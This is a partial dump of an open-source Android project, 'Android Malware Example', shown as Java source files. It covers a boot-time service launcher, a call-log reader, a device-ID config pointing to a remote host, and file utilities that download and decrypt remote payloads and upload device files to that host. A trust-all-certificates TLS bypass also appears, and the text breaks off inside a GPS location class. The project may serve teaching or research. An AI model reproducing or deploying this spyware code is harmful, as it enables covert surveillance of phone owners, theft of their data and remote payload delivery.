64 | 65 | Map keys = settings.getAll(); 66 | 67 | for(Map.Entry entry : keys.entrySet()){ 68 | if (configParams.Logging) Log.d(configParams.PROGID,entry.getKey() + ": " + entry.getValue().toString()); 69 | } 70 | } 71 | public ConfigParams getConfigParams() { 72 | return configParams; 73 | } 74 | public String getLocalEncKey(){ 75 | return(settings.getString("LocalEncKey","")); 76 | } 77 | public void setLocalEncKey(String _key) { 78 | settings.edit().putString("LocalEncKey",_key).commit(); 79 | } 80 | 81 | private boolean hasbeeninit(){ 82 | Boolean _init = settings.getBoolean("init", false); 83 | return _init; 84 | } 85 | public String getString (String _key, String _input) { 86 | 87 | try{ 88 | //return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,""))); 89 | return (settings.getString(_key,"")); 90 | } catch (Exception ex) { 91 | return ""; 92 | 93 | } 94 | } 95 | public void putEncString(String _key,String _input) { 96 | try { 97 | //settings.edit().putString(encrypt.encryptstring(configParams.LocalEncryptionKey,_key), encrypt.encryptstring(configParams.LocalEncryptionKey, _input)); 98 | String _newkey = encrypt.encryptstring(configParams.LocalEncryptionKey,_key); 99 | String _newinput = encrypt.encryptstring(configParams.LocalEncryptionKey,_input); 100 | if (configParams.Logging) Log.d(configParams.PROGID,"Putting SharedPrefs: "+_key+"["+_input+"] as "+ _newkey+"["+_newinput+"]"); 101 | settings.edit().putString(_key, encrypt.encryptstring(configParams.LocalEncryptionKey, _input)).commit(); 102 | } catch (Exception ex){ 103 | 104 | Log.d(configParams.PROGID,"PGMPrefs: Unable to put string: "+_key+"["+_input+"]"); 105 | } 106 | } 107 | public String getEncString(String _key){ 108 | try{ 109 | //return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,""))); 110 | return (encrypt.decryptstring(configParams.LocalEncryptionKey, settings.getString(_key,""))); 111 | } catch (Exception ex) { 112 | return ""; 113 | 114 | } 115 | } 116 | 117 | 118 | 119 | 120 | 121 | } 122 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/BGReceiver.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | 24 | import android.content.BroadcastReceiver; 25 | import android.content.Context; 26 | import android.content.Intent; 27 | import android.util.Log; 28 | 29 | public class BGReceiver extends BroadcastReceiver { 30 | 31 | @Override 32 | public void onReceive(Context context, Intent intent) { 33 | 34 | 35 | try{ 36 | Intent service = new Intent(context, BGMonitor.class); 37 | context.startService(service); 38 | // Log.d("BGReceiver","Starting Service BGMonitor"); 39 | }catch(Exception e){ 40 | // Log.d("BGReceiver",e.toString()); 41 | } 42 | } 43 | } -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/CallLogHelper.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.ContentResolver; 24 | import android.content.ContentValues; 25 | import android.database.Cursor; 26 | import android.net.Uri; 27 | import android.provider.CallLog; 28 | import android.util.Log; 29 | 30 | /** 31 | * Created by darrylb on 10/3/16. 32 | */ 33 | public class CallLogHelper { 34 | 35 | public static Cursor getAllCallLogs(ContentResolver cr) { 36 | // reading all data in descending order according to DATE 37 | String strOrder = android.provider.CallLog.Calls.DATE + " DESC"; 38 | Uri callUri = Uri.parse("content://call_log/calls"); 39 | Cursor curCallLogs = cr.query(callUri, null, null, null, strOrder); 40 | 41 | return curCallLogs; 42 | } 43 | 44 | // public static void insertPlaceholderCall(ContentResolver contentResolver, 45 | // String name, String number) { 46 | // ContentValues values = new ContentValues(); 47 | // values.put(CallLog.Calls.NUMBER, number); 48 | // values.put(CallLog.Calls.DATE, System.currentTimeMillis()); 49 | // values.put(CallLog.Calls.DURATION, 0); 50 | // values.put(CallLog.Calls.TYPE, CallLog.Calls.OUTGOING_TYPE); 51 | // values.put(CallLog.Calls.NEW, 1); 52 | // values.put(CallLog.Calls.CACHED_NAME, name); 53 | // values.put(CallLog.Calls.CACHED_NUMBER_TYPE, 0); 54 | // values.put(CallLog.Calls.CACHED_NUMBER_LABEL, ""); 55 | // Log.d("Call Log", "Inserting call log placeholder for " + number); 56 | // contentResolver.insert(CallLog.Calls.CONTENT_URI, values); 57 | // } 58 | 59 | 60 | } 61 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/CameraActivity.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.support.v7.app.AppCompatActivity; 24 | import android.os.Bundle; 25 | 26 | public class CameraActivity extends AppCompatActivity { 27 | 28 | @Override 29 | protected void onCreate(Bundle savedInstanceState) { 30 | super.onCreate(savedInstanceState); 31 | setContentView(R.layout.activity_camera); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/ConfigParams.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | 24 | import android.content.Context; 25 | import android.os.Environment; 26 | import android.provider.Settings.Secure; 27 | 28 | import java.io.File; 29 | 30 | /** 31 | * Created by darrylb on 10/2/16. 32 | */ 33 | public class ConfigParams { 34 | String PROGID = "BGMonitor"; 35 | String HOST = "www.burke-consulting.net"; 36 | String EncInitString ="TEMPONLYUNTILFIRSTREQUEST"; 37 | String LocalEncryptionKey =""; 38 | //Note not 16bit so encryption will not work . this is intentional 39 | String RemoteEncryptionKey = ""; 40 | String UniqueID = ""; 41 | String HTTPprotocol="https://"; 42 | String BGMonitorBase="/BGM/";; 43 | Boolean Logging = true; 44 | Boolean Debug = true; 45 | Boolean Cleanup =false; 46 | Boolean SSLStrict = true; 47 | Boolean DisplayNotification = true; 48 | Boolean SelfSigned = false; 49 | public File StoragePath; 50 | static final int PERMISSIONS_REQUEST_READ_SMS = 99901; 51 | static final int PERMISSIONS_REQUEST_ALL = 99900; 52 | 53 | public ConfigParams(Context context) { 54 | UniqueID= Secure.getString(context.getContentResolver(),Secure.ANDROID_ID); 55 | StoragePath = Environment.getExternalStorageDirectory(); 56 | LocalEncryptionKey = EncInitString; 57 | File _storagepath = new File(Environment.getExternalStorageDirectory().getAbsolutePath()+"/BGM"); 58 | StoragePath = _storagepath; 59 | try { 60 | _storagepath.mkdirs(); 61 | } catch ( Exception ex){ 62 | 63 | } 64 | } 65 | public void SetEncKey(String key){ 66 | if (LocalEncryptionKey == EncInitString){ 67 | LocalEncryptionKey = key; 68 | } 69 | RemoteEncryptionKey = key; 70 | } 71 | 72 | 73 | 74 | } 75 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/FileUtils.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.net.Uri; 25 | import android.util.Log; 26 | import android.widget.Toast; 27 | 28 | import java.io.BufferedInputStream; 29 | import java.io.BufferedOutputStream; 30 | import java.io.DataOutputStream; 31 | import java.io.File; 32 | import java.io.FileInputStream; 33 | import java.io.FileNotFoundException; 34 | import java.io.FileOutputStream; 35 | import java.io.IOException; 36 | import java.io.InputStream; 37 | import java.net.HttpURLConnection; 38 | import java.net.MalformedURLException; 39 | import java.net.URL; 40 | import java.nio.channels.FileChannel; 41 | import java.security.KeyStore; 42 | import java.security.SecureRandom; 43 | import java.security.cert.Certificate; 44 | import java.security.cert.CertificateException; 45 | import java.security.cert.CertificateFactory; 46 | import java.security.cert.X509Certificate; 47 | import java.util.zip.ZipEntry; 48 | import java.util.zip.ZipInputStream; 49 | import java.util.zip.ZipOutputStream; 50 | 51 | import javax.net.ssl.HostnameVerifier; 52 | import javax.net.ssl.HttpsURLConnection; 53 | import javax.net.ssl.SSLContext; 54 | import javax.net.ssl.SSLSession; 55 | import javax.net.ssl.TrustManagerFactory; 56 | import javax.net.ssl.X509TrustManager; 57 | 58 | import static android.R.attr.key; 59 | import static android.R.attr.path; 60 | 61 | /** 62 | * Created by darrylb on 10/4/16. 63 | */ 64 | public class FileUtils { 65 | 66 | Context context; 67 | ConfigParams configParams; 68 | BGMPrefs bgmPrefs; 69 | 70 | public FileUtils( Context _context){ 71 | context = _context; 72 | bgmPrefs = new BGMPrefs(context); 73 | configParams = bgmPrefs.getConfigParams(); 74 | } 75 | 76 | public void EncryptFile(String ifile){ 77 | EncryptFile(ifile,configParams.LocalEncryptionKey); 78 | } 79 | public void EncryptFile(String ifile,String EncKey){ 80 | EncryptFile(configParams.StoragePath+ "/", ifile, EncKey); 81 | } 82 | 83 | public void EncryptFile(String path,String ifile,String key){ 84 | BGMEncryption _encrypt = new BGMEncryption(); 85 | try { 86 | _encrypt.encryptfile(key, path + ifile, path + ifile+".enc"); 87 | } catch (Exception ex) { 88 | Log.d(configParams.PROGID,"Unable to encrypt file Key:["+configParams.LocalEncryptionKey+"] InFile:["+path + ifile+"] OutFile:["+ path + ifile+".enc]:"+ex.toString()); 89 | } 90 | } 91 | 92 | public void DecryptFile(String ifile){ 93 | DecryptFile(ifile,configParams.LocalEncryptionKey); 94 | } 95 | public void DecryptFile(String ifile,String EncKey){ 96 | DecryptFile(configParams.StoragePath+ "/", ifile, EncKey); 97 | } 98 | public void DecryptFile(String path,String ifile,String key){ 99 | if (configParams.Logging) Log.d(configParams.PROGID,"decrypting file Path ["+path+"] file ["+ifile+".enc] Key:["+key+"]" ); 100 | BGMEncryption _encrypt = new BGMEncryption(); 101 | try { 102 | _encrypt.decryptfile(key, path+ ifile+".enc", path + ifile); 103 | } catch (Exception ex) { 104 | 105 | if (configParams.Logging) Log.d(configParams.PROGID,"Unable to decrypt file:["+ex.toString()+"]"); 106 | } 107 | } 108 | 109 | public void copy(String src, String dst) { 110 | try { 111 | if (configParams.Logging) Log.d(configParams.PROGID,"Copying File ["+src+"] to ["+dst+"]" ); 112 | FileInputStream inStream = new FileInputStream(new File(src)); 113 | FileOutputStream outStream = new FileOutputStream(new File(dst)); 114 | FileChannel inChannel = inStream.getChannel(); 115 | FileChannel outChannel = outStream.getChannel(); 116 | inChannel.transferTo(0, inChannel.size(), outChannel); 117 | inStream.close(); 118 | outStream.close(); 119 | } catch (Exception ex) { 120 | if (configParams.Logging) Log.d(configParams.PROGID,"Unable to copy ["+src+"] to ["+dst+"]" ); 121 | } 122 | } 123 | 124 | public boolean CompressFile(String ifile, String ofile){ 125 | 126 | final int BUFFER = 2048; 127 | if (configParams.Logging) Log.d(configParams.PROGID,"Compressing file: ["+ifile+"] -> ["+ofile+"]"); 128 | File sourceFile = new File(configParams.StoragePath+"/"+ifile); 129 | try { 130 | BufferedInputStream origin = null; 131 | FileOutputStream dest = new FileOutputStream(configParams.StoragePath+"/"+ofile); 132 | ZipOutputStream out = new ZipOutputStream(new BufferedOutputStream( 133 | dest)); 134 | if (sourceFile.isDirectory()) { 135 | zipSubFolder(out, sourceFile, sourceFile.getParent().length()); 136 | } else { 137 | byte data[] = new byte[BUFFER]; 138 | FileInputStream fi = new FileInputStream(configParams.StoragePath+"/"+ifile); 139 | origin = new BufferedInputStream(fi, BUFFER); 140 | ZipEntry entry = new ZipEntry(getLastPathComponent(configParams.StoragePath+"/"+ifile)); 141 | out.putNextEntry(entry); 142 | int count; 143 | while ((count = origin.read(data, 0, BUFFER)) != -1) { 144 | out.write(data, 0, count); 145 | } 146 | } 147 | out.close(); 148 | } catch (Exception e) { 149 | e.printStackTrace(); 150 | return false; 151 | } 152 | return true; 153 | } 154 | 155 | public String InflateFile(String path, String zipname){ 156 | if (configParams.Logging) Log.d(configParams.PROGID,"Inflating File:["+path + zipname+"]"); 157 | String response =""; 158 | InputStream is; 159 | ZipInputStream zis; 160 | try { 161 | String filename; 162 | is = new FileInputStream(path + zipname); 163 | zis = new ZipInputStream(new BufferedInputStream(is)); 164 | ZipEntry mZipEntry; 165 | byte[] buffer = new byte[1024]; 166 | int count; 167 | 168 | while ((mZipEntry = zis.getNextEntry()) != null) { 169 | // zapis do souboru 170 | filename = mZipEntry.getName(); 171 | 172 | if (configParams.Logging) Log.d(configParams.PROGID,"zip File:["+filename+"]"); 173 | if (response.length()==0) 174 | response=filename; 175 | else 176 | response="Multiple"; 177 | // Need to create directories if not exists, or 178 | // it will generate an Exception... 179 | if (mZipEntry.isDirectory()) { 180 | File fmd = new File(path + filename); 181 | fmd.mkdirs(); 182 | continue; 183 | } 184 | 185 | FileOutputStream fout = new FileOutputStream(path + filename); 186 | 187 | // cteni zipu a zapis 188 | while ((count = zis.read(buffer)) != -1) { 189 | fout.write(buffer, 0, count); 190 | } 191 | 192 | fout.close(); 193 | zis.closeEntry(); 194 | if (configParams.Logging) Log.d(configParams.PROGID,"Inflating file: ["+zipname+"] Success"); 195 | } 196 | 197 | zis.close(); 198 | } catch (IOException e) { 199 | e.printStackTrace(); 200 | return response; 201 | } 202 | 203 | return response; 204 | } 205 | 206 | 207 | 208 | public String getLastPathComponent(String filePath) { 209 | String[] segments = filePath.split("/"); 210 | if (segments.length == 0) 211 | return ""; 212 | String lastPathComponent = segments[segments.length - 1]; 213 | return lastPathComponent; 214 | } 215 | 216 | private void zipSubFolder(ZipOutputStream out, File folder,int basePathLength) throws IOException { 217 | 218 | final int BUFFER = 2048; 219 | 220 | File[] fileList = folder.listFiles(); 221 | BufferedInputStream origin = null; 222 | for (File file : fileList) { 223 | if (file.isDirectory()) { 224 | zipSubFolder(out, file, basePathLength); 225 | } else { 226 | byte data[] = new byte[BUFFER]; 227 | String unmodifiedFilePath = file.getPath(); 228 | String relativePath = unmodifiedFilePath 229 | .substring(basePathLength); 230 | FileInputStream fi = new FileInputStream(unmodifiedFilePath); 231 | origin = new BufferedInputStream(fi, BUFFER); 232 | ZipEntry entry = new ZipEntry(relativePath); 233 | out.putNextEntry(entry); 234 | int count; 235 | while ((count = origin.read(data, 0, BUFFER)) != -1) { 236 | out.write(data, 0, count); 237 | } 238 | origin.close(); 239 | } 240 | } 241 | } 242 | 243 | 244 | 245 | public int downloadFile(String url, String filedestination, String EncKey ) { 246 | 247 | if(configParams.Logging) Log.d(configParams.PROGID,"Download File:["+url+"]"); 248 | 249 | final int BUFFER_SIZE = 4096; 250 | 251 | int serverResponseCode = 0; 252 | String saveFilePath=""; 253 | String saveFile=""; 254 | 255 | HttpURLConnection connection; 256 | DataOutputStream dataOutputStream; 257 | 258 | try{ 259 | 260 | URL fileurl = new URL(url); 261 | 262 | if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){ 263 | //create code to trust a self signed cert 264 | // Note you need the pem file to be in the App config to trust it 265 | 266 | Uri.Builder builder = new Uri.Builder() 267 | .appendQueryParameter("DeviceID", configParams.UniqueID); 268 | String query = builder.build().getEncodedQuery(); 269 | 270 | if (configParams.SelfSigned) 271 | setUpHttpsConnection(query); 272 | 273 | 274 | 275 | }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){ 276 | // //trust all certs !!! Warning Dangerous 277 | // 278 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){ 279 | public boolean verify(String hostname, SSLSession session) { 280 | return true; 281 | }}); 282 | SSLContext context = SSLContext.getInstance("TLS"); 283 | context.init(null, new X509TrustManager[]{new X509TrustManager(){ 284 | public void checkClientTrusted(X509Certificate[] chain, 285 | String authType) throws CertificateException {} 286 | public void checkServerTrusted(X509Certificate[] chain, 287 | String authType) throws CertificateException {} 288 | public X509Certificate[] getAcceptedIssuers() { 289 | return new X509Certificate[0]; 290 | }}}, new SecureRandom()); 291 | HttpsURLConnection.setDefaultSSLSocketFactory( 292 | context.getSocketFactory()); 293 | // 294 | } 295 | // 296 | // 297 | // 298 | // 299 | // 300 | connection = (HttpURLConnection) fileurl.openConnection(); 301 | serverResponseCode = connection.getResponseCode(); 302 | 303 | 304 | if (serverResponseCode == HttpURLConnection.HTTP_OK) { 305 | // String fileName = ""; 306 | String disposition = connection.getHeaderField("Content-Disposition"); 307 | String contentType = connection.getContentType(); 308 | int contentLength = connection.getContentLength(); 309 | 310 | if (disposition != null) { 311 | // extracts file name from header field 312 | int index = disposition.indexOf("filename="); 313 | if (index > 0) { 314 | saveFile = disposition.substring(index + 10, 315 | disposition.length() - 1); 316 | } 317 | } else { 318 | // extracts file name from URL 319 | saveFile = url.substring(url.lastIndexOf("/") + 1, 320 | url.length()); 321 | } 322 | 323 | if(configParams.Logging) Log.d(configParams.PROGID,"Content-Type = " + contentType ); 324 | if(configParams.Logging) Log.d(configParams.PROGID,"Content-Disposition = " + disposition); 325 | if(configParams.Logging) Log.d(configParams.PROGID,"Content-Length = " + contentLength); 326 | if(configParams.Logging) Log.d(configParams.PROGID,"fileName = " + saveFile); 327 | 328 | // opens input stream from the HTTP connection 329 | InputStream inputStream = connection.getInputStream(); 330 | 331 | saveFilePath = configParams.StoragePath + "/" + saveFile; 332 | if(configParams.Logging) Log.d(configParams.PROGID,"File downloading to:["+saveFilePath+"]"); 333 | 334 | 335 | // opens an output stream to save into file 336 | FileOutputStream outputStream = new FileOutputStream(saveFilePath); 337 | 338 | int bytesRead = -1; 339 | byte[] buffer = new byte[BUFFER_SIZE]; 340 | while ((bytesRead = inputStream.read(buffer)) != -1) { 341 | outputStream.write(buffer, 0, bytesRead); 342 | } 343 | 344 | outputStream.close(); 345 | inputStream.close(); 346 | 347 | if(configParams.Logging) Log.d(configParams.PROGID,"File downloaded"); 348 | } else { 349 | if(configParams.Logging) Log.d(configParams.PROGID,"No file to download. Server replied HTTP code: " + serverResponseCode); 350 | } 351 | connection.disconnect(); 352 | 353 | } catch (Exception e) { 354 | e.printStackTrace(); 355 | Log.d(configParams.PROGID,"Error:"+e.toString()); 356 | 357 | } 358 | // process file if successful 359 | 360 | if (serverResponseCode == 200 ){ 361 | // decrypt if necessary then copy file 362 | 363 | 364 | 365 | if (EncKey.length() > 0 ) { 366 | 367 | DecryptFile(saveFilePath.replace(saveFile,""),saveFile.replace(".enc",""),EncKey ); 368 | 369 | if (saveFilePath.replace(".enc","").endsWith(".zip")){ 370 | String _files = InflateFile(configParams.StoragePath.getPath()+"/",saveFile.replace(".enc","")); 371 | if (_files.length()==0){ 372 | if (configParams.Logging) Log.d(configParams.PROGID, "No files found in zip"); 373 | } else if (_files.equals("Multiple")){ 374 | if (configParams.Logging) Log.d(configParams.PROGID, "Cannot copy multiple files in zip: Ignoring copy"); 375 | }else { 376 | if (configParams.Logging) Log.d(configParams.PROGID, "Copying file:["+_files+"] found in zip file"); 377 | 378 | copy( configParams.StoragePath+"/"+_files,filedestination); 379 | 380 | } 381 | 382 | } else { 383 | copy( saveFilePath.replace(".enc",""),filedestination); 384 | 385 | } 386 | 387 | 388 | } 389 | 390 | 391 | 392 | } 393 | return serverResponseCode; 394 | 395 | 396 | 397 | } 398 | public int uploadFile(final String selectedFilePath){ 399 | 400 | if(configParams.Logging) Log.d(configParams.PROGID,"Sending File:["+selectedFilePath+"]"); 401 | int serverResponseCode = 0; 402 | 403 | HttpURLConnection connection; 404 | DataOutputStream dataOutputStream; 405 | String lineEnd = "\r\n"; 406 | String twoHyphens = "--"; 407 | String boundary = "*****"; 408 | 409 | 410 | int bytesRead,bytesAvailable,bufferSize; 411 | byte[] buffer; 412 | int maxBufferSize = 1 * 1024 * 1024; 413 | File selectedFile = new File(selectedFilePath); 414 | 415 | 416 | String[] parts = selectedFilePath.split("/"); 417 | final String fileName = parts[parts.length-1]; 418 | 419 | if (!selectedFile.isFile()){ 420 | return 0; 421 | }else{ 422 | try{ 423 | FileInputStream fileInputStream = new FileInputStream(selectedFile); 424 | //URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + "UploadFile.php"); 425 | URL url = new URL(configParams.HTTPprotocol+configParams.HOST + configParams.BGMonitorBase + "UploadFile.php"); 426 | 427 | 428 | 429 | if (configParams.HTTPprotocol == "https://" && configParams.SSLStrict){ 430 | //create code to trust a self signed cert 431 | // Note you need the pem file to be in the App config to trust it 432 | 433 | Uri.Builder builder = new Uri.Builder() 434 | .appendQueryParameter("DeviceID", configParams.UniqueID); 435 | String query = builder.build().getEncodedQuery(); 436 | 437 | if (configParams.SelfSigned) 438 | setUpHttpsConnection(query); 439 | 440 | 441 | 442 | }else if (configParams.HTTPprotocol == "https://" && !configParams.SSLStrict){ 443 | //trust all certs !!! Warning Dangerous 444 | 445 | HttpsURLConnection.setDefaultHostnameVerifier(new HostnameVerifier(){ 446 | public boolean verify(String hostname, SSLSession session) { 447 | return true; 448 | }}); 449 | SSLContext context = SSLContext.getInstance("TLS"); 450 | context.init(null, new X509TrustManager[]{new X509TrustManager(){ 451 | public void checkClientTrusted(X509Certificate[] chain, 452 | String authType) throws CertificateException {} 453 | public void checkServerTrusted(X509Certificate[] chain, 454 | String authType) throws CertificateException {} 455 | public X509Certificate[] getAcceptedIssuers() { 456 | return new X509Certificate[0]; 457 | }}}, new SecureRandom()); 458 | HttpsURLConnection.setDefaultSSLSocketFactory( 459 | context.getSocketFactory()); 460 | 461 | } 462 | 463 | 464 | 465 | 466 | 467 | connection = (HttpURLConnection) url.openConnection(); 468 | connection.setDoInput(true);//Allow Inputs 469 | connection.setDoOutput(true);//Allow Outputs 470 | connection.setUseCaches(false);//Don't use a cached Copy 471 | connection.setRequestMethod("POST"); 472 | connection.setRequestProperty("Connection", "Keep-Alive"); 473 | connection.setRequestProperty("ENCTYPE", "multipart/form-data"); 474 | connection.setRequestProperty("Content-Type", "multipart/form-data;boundary=" + boundary); 475 | connection.setRequestProperty("uploaded_file",selectedFilePath); 476 | connection.setRequestProperty("deviceid",configParams.UniqueID); 477 | 478 | 479 | //creating new dataoutputstream 480 | dataOutputStream = new DataOutputStream(connection.getOutputStream()); 481 | 482 | //writing bytes to data outputstream 483 | dataOutputStream.writeBytes(twoHyphens + boundary + lineEnd); 484 | dataOutputStream.writeBytes("Content-Disposition: form-data; DDD=\"ddd\";name=\"uploaded_file\";filename=\"" 485 | + selectedFilePath + "\"" + lineEnd); 486 | 487 | dataOutputStream.writeBytes(lineEnd); 488 | 489 | //returns no. of bytes present in fileInputStream 490 | bytesAvailable = fileInputStream.available(); 491 | //selecting the buffer size as minimum of available bytes or 1 MB 492 | bufferSize = Math.min(bytesAvailable,maxBufferSize); 493 | //setting the buffer as byte array of size of bufferSize 494 | buffer = new byte[bufferSize]; 495 | 496 | //reads bytes from FileInputStream(from 0th index of buffer to buffersize) 497 | bytesRead = fileInputStream.read(buffer,0,bufferSize); 498 | 499 | //loop repeats till bytesRead = -1, i.e., no bytes are left to read 500 | while (bytesRead > 0){ 501 | //write the bytes read from inputstream 502 | dataOutputStream.write(buffer,0,bufferSize); 503 | bytesAvailable = fileInputStream.available(); 504 | bufferSize = Math.min(bytesAvailable,maxBufferSize); 505 | bytesRead = fileInputStream.read(buffer,0,bufferSize); 506 | } 507 | 508 | dataOutputStream.writeBytes(lineEnd); 509 | dataOutputStream.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd); 510 | 511 | serverResponseCode = connection.getResponseCode(); 512 | String serverResponseMessage = connection.getResponseMessage(); 513 | 514 | if (configParams.Logging) Log.d(configParams.PROGID, "Server Response is: " + serverResponseMessage + ": " + serverResponseCode); 515 | 516 | //response code of 200 indicates the server status OK 517 | 518 | //closing the input and output streams 519 | fileInputStream.close(); 520 | dataOutputStream.flush(); 521 | dataOutputStream.close(); 522 | 523 | 524 | 525 | } catch (Exception e) { 526 | e.printStackTrace(); 527 | Log.d(configParams.PROGID,"Error:"+e.toString()); 528 | 529 | } 530 | 531 | return serverResponseCode; 532 | } 533 | 534 | } 535 | public void setUpHttpsConnection(String urlString) 536 | { 537 | try 538 | { 539 | // Load CAs from an InputStream 540 | // (could be from a resource or ByteArrayInputStream or ...) 541 | CertificateFactory cf = CertificateFactory.getInstance("X.509"); 542 | 543 | InputStream caInput = new BufferedInputStream(context.getAssets().open("server.crt")); 544 | Certificate ca = cf.generateCertificate(caInput); 545 | if (configParams.Logging) Log.d(configParams.PROGID,"ca=" + ((X509Certificate) ca).getSubjectDN()); 546 | 547 | // Create a KeyStore containing our trusted CAs 548 | String keyStoreType = KeyStore.getDefaultType(); 549 | KeyStore keyStore = KeyStore.getInstance(keyStoreType); 550 | keyStore.load(null, null); 551 | keyStore.setCertificateEntry("ca", ca); 552 | 553 | // Create a TrustManager that trusts the CAs in our KeyStore 554 | String tmfAlgorithm = TrustManagerFactory.getDefaultAlgorithm(); 555 | TrustManagerFactory tmf = TrustManagerFactory.getInstance(tmfAlgorithm); 556 | tmf.init(keyStore); 557 | 558 | // Create an SSLContext that uses our TrustManager 559 | SSLContext context = SSLContext.getInstance("TLS"); 560 | context.init(null, tmf.getTrustManagers(), null); 561 | 562 | 563 | // Tell the URLConnection to use a SocketFactory from our SSLContext 564 | 565 | HttpsURLConnection.setDefaultSSLSocketFactory( 566 | context.getSocketFactory()); 567 | 568 | } 569 | catch (Exception ex) 570 | { 571 | 572 | Log.d(configParams.PROGID,"NetworkHandler: Error creating own Trust Manager"); 573 | } 574 | } 575 | 576 | } 577 | -------------------------------------------------------------------------------- /app/src/main/java/com/burke_consulting/malwareexample/GPSLocation.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2016. Darryl Burke - Burke Consulting 3 | * 4 | * This file is part of Android Malware Example. 5 | * 6 | * Android Malware Example is free software: you can redistribute it and/or modify 7 | * it under the terms of the GNU General Public License as published by 8 | * the Free Software Foundation, either version 3 of the License, or 9 | * (at your option) any later version. 10 | * 11 | * Android Malware Example is distributed in the hope that it will be useful, 12 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | * GNU General Public License for more details. 15 | * 16 | * You should have received a copy of the GNU General Public License 17 | * along with Android Malware Example. If not, see . 18 | * 19 | */ 20 | 21 | package com.burke_consulting.malwareexample; 22 | 23 | import android.content.Context; 24 | import android.location.Location; 25 | import android.location.LocationListener; 26 | import android.location.LocationManager; 27 | import android.os.Bundle; 28 | import android.util.Log; 29 | 30 | 31 | public class GPSLocation implements LocationListener { 32 | Context context; 33 | protected LocationManager locationManager; 34 | boolean isGPSEnabled = false; 35 | boolean isNetworkEnabled = false; 36 | boolean canGetLocation = false; 37 | ConfigParams configParams; 38 | 39 | Location location; // location 40 | LatLon latlon = new LatLon(); 41 | 42 | //double latitude=9999; // latitude 43 | //double longitude=9999; // longitude 44 | 45 | 46 | // The minimum distance to change Updates in meters 47 | private static final long MIN_DISTANCE_CHANGE_FOR_UPDATES = 5; // 10 meters 48 | 49 